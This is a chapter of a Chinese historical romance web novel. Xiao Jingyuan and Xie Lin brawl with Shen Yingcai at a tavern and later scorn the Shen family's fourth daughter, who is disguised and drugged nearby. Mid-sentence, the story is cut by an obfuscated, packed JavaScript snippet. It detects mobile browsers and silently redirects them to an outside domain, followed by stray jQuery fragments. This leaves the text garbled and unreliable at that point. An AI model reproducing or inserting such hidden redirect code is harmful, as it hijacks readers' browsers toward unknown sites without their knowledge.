第2章 庸脂俗粉,不值一提

作品:《和离前夜重生,权臣他跪碎了门槛

    奉明十四年,冬。


    荣国公府嫡出的四姑娘方一及笄便有无数公子争相求娶,前来议亲之人几乎要踏破国公府门槛。


    这日府里又有贵客登门,想一睹沈四姑娘芳容,对方是镇国公夫人,不好怠慢。


    沈夫人一边招待贵客,一边遣人去唤女儿过来。


    谁知,沈霜宁又玩消失了,同时不见的还有她的二哥沈英才。


    荣国公府为了寻人,已是一团乱麻,而外头却热闹极了。


    京城的醉云楼新开张,地处最繁华的地段,一时门庭若市,烈火烹油,往来宾客非富即贵。


    热闹一直持续到了晚上。


    “嘭!”的一声巨响。


    只见一道身影自二楼雅间飞出,直直砸落到楼下大堂,将一方桌子撞得四分五裂。


    霎时满堂寂静,针落可闻。


    “狗东西,敢伤我,你可知我是谁?!”那地上的华服公子骂道,衣襟上有着明显的鞋印。


    “诶唷,这不是沈二公子吗?”掌柜认出此人,急忙去将人扶起。


    京城唯有一个沈家,就是荣国公府沈氏。


    这沈二公子乃国公爷的庶子沈英才,虽名唤英才,却是个名副其实的纨绔草包,扶不上墙的阿斗,人称“沈二”。


    沈氏庭训渊深,儒林仰止,大公子沈修辞更是出类拔萃,是以更显得沈英才是个奇葩。


    眼下被人打得这样惨,估摸又是调戏哪家姑娘,踢到铁板了。


    众人虽心底瞧不起沈二,却想巴结他背后的国公府,认识他的人纷纷上前,沈二就这么被人七手八脚的扶了起来,


    与沈英才交好的伯爵府公子赶来了,见状,撸起衣袖对上边的人骂道:“瞎了你的狗眼,这可是荣国公府的二公子,伤了他你担得起吗?识相点就快滚下来赔罪!”


    嗖——!


    一根筷子险擦过此人的眼睛,钉在了身后的柱子上。


    “你说让谁赔罪?”


    嗓音清朗如玉,又带着几分摄人的锐利。


    男子见那人相貌,腿脚一软,竟吓得一屁股跌坐在地。


    众人亦仰面看去,惊疑不定,对方什么路子,竟然连荣国公府都不放在眼里?


    只见楼上站着两名男子。


    其中一人乃少年模样,面如冠玉,唇红齿白,俊朗至极,通身无一不贵,而贵气里又藏着锋芒。


    而另一人立于暗处,身形高大挺拔,玄衣鹤氅,腰佩利剑,虽瞧不清相貌,但气势绝非常人所有。


    有眼见的已然坐下,只管看热闹。


    这时,有人指着那张扬漂亮的少年人,结巴道:“是、是小侯爷!”


    永宁侯府谢临,圣上的亲外甥,天潢贵胄。


    一时间,沈二周围瞬间空出一大片空地,方才那位叫嚣的伯爵府公子也早已连滚带爬地跑了。


    沈二见势不妙,心知今日这亏只能打碎牙齿咽下肚,捂着胸口忙不迭溜了。


    谢临拍了拍手,冷哼一声:“这沈二连宋姑娘都敢调戏,真是色胆包天,我替你教训他了,不谢。”


    一旁的男子不是别人,正是前阵子名动京城的燕王府世子萧景渊。


    离京五年,随燕王征战沙场,年纪轻轻便军功累累,令人望尘莫及。


    而今他应召回京,已二十有三,尚未婚配,一身光环几乎盖过了所有的贵胄子弟,说是贵女们共同的梦中情郎也不为过。


    可人人都知晓,他心中只有一人,便是宋家嫡长女宋惜枝。


    两人的亲事,八字就差一撇了。


    谢临今日特为他接风洗尘,雅间里还有不少喝得东倒西歪的公子哥,萧景渊出来透气。


    就在谢临同他讲最近京城都有什么热闹时,萧景渊的目光却在盯着某处。


    堂下,两名男子一左一右架着一名昏迷的少年,行迹十分可疑。


    那少年皮肤极白,低垂着脑袋,散落的乌发遮了半张面容,一节白皙如玉的脖颈露了出来。


    萧景渊驻守北境时审过不少敌国探子,有着一双过人的慧眼。


    底下两名贼眉鼠眼的男子全然不知,他们的一举一动都暴露在了旁人眼里。


    “小郎君生得这般好颜色,主子见了定然喜欢!”


    “若是能被主子看上,也算他百世修来的福气。”


    “这西域的依萝香能让人醉生梦死,小郎君一时半刻醒不了。快,把人弄到后堂去,别叫人发现了。”


    “......”


    这不是别人,正是女扮男装的沈霜宁。


    只是这会儿萧景渊并不认识她。


    “看什么呢?”谢临顺着他的目光看去,并未看出有何不妥,只以为萧景渊是看到熟人了。


    “没什么。”萧景渊收回视线,不是很在意。


    谢临长手一伸,揽着他的肩膀回了雅间:“咱俩难得一聚,必须再喝两杯,走!”


    谢临也是前不久刚从邕州回来,前日刚行完冠礼,也到了议亲的年纪,二人走在一处,轻易能吸引他人的目光。


    萧景渊坐回雅间上座,有人来给他敬酒,恭维道:“萧世子一回来,把咱们风头都抢了,那些姑娘小姐们全都盯着你,都没我们的份儿了。”


    恭维的话他听多了,只是随意一笑,没有说话。


    谢临哈哈一笑:“你才回来,估计还不知道,连荣国公府都在打你的主意。”


    两家不是世交,难免有攀附之嫌。


    接风宴气氛轻松惬意,不聊家国吏治,说来说去也就京中那点事。


    一提到荣国公府,便有人想起什么似的,露出意味深长的笑:“诶,你们可知荣国公府的四姑娘?也就是荣国公唯一的女儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15921618|177087||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    董家公子不以为意道:“四姑娘?不就是个小丫头片子么,有何好说的?”


    这人将酒盏一搁:“一看就知道你们没去过长公主的生辰宴,这位四姑娘如今生得那叫一个惊为天人,说句国色天香也不为过!”


    “真的假的?”


    “我骗你们作甚?要不是那四姑娘长得如花似玉,国公府哪有自信跟燕王府议亲?”


    谢临轻嗤:“长得貌美有何用?摆在家里当花瓶看么?”


    说着,又转眸看向萧景渊,“阿渊,我可得提醒你,荣国公府加起来八百个心眼子,尤其是那个沈修辞,这些年没少给我使绊子,他的亲妹妹也定然好不到哪去,你别被美色迷惑了,娶她当妾也不行!”


    谢临对沈家人的偏见不是一般大。


    方才那人又玩笑道:“世子心里有人了,纵使是天仙来了,也入不了世子的法眼,但小侯爷你可得小心了,都道英雄难过美人关,保不齐你见了她,就被勾了魂呢。”


    谢临闻言冷笑一声,他端着酒一脚踩上案几,对着众人说道:“我谢临与沈修辞势不两立,他的妹妹纵使是天仙下凡,我都绝不会多看一眼,你们等着瞧。”


    “我若对她有何想法,便从这上面跳下去,跟他沈修辞一个姓!”


    谢临喝得有点多了,他自证心迹后,还要催着萧景渊表个态。


    萧景渊扯了扯嘴角,没他这么幼稚,兴意阑珊道:“四姑娘是谁,长什么模样,我不感兴趣,再美也不过是庸脂俗粉,不值一提。”


    谢临带着微醺的酒意道:“没错!庸脂俗粉,不值一提。”


    然而,此时的兄弟二人并不知,将来他们的脸会多么的疼。


    接风宴到了后半段,只剩下谢临和萧景渊是清醒的,其他人都倒下了。


    这时谢临身边的小厮走了过来,耳语了几句。


    “宋表妹来了?”


    谢临便拉着萧景渊一同出去了。


    来到外面,宋惜枝对二人欠身行礼,身后跟着一名陌生的婢女,神色焦急,正是阿蘅。


    宋惜枝安抚地看她一眼,随后道明来意:“我有个远房亲戚失踪了,眼下生死未卜,还请世子和小侯爷帮忙寻人,惜枝不胜感激。”


    沈霜宁不见了,沈二也不知去向,阿蘅找得快疯了,然后便遇见了宋惜枝,阿蘅情急之下才求助于她。


    宋惜枝在京城素有贤名,享誉上京第一才女,是贵女中的典范,她相信以宋惜枝的为人,不会泄露小姐乔装出府的秘密。


    谢临道:“寻人没问题,只是你那远房亲戚是男是女?说得详细些,也好找人。”


    不等宋惜枝回答,阿蘅便急切道:“是位公子!穿一身白衣,对了,她是在醉云楼不见的!”


    萧景渊看向阿蘅。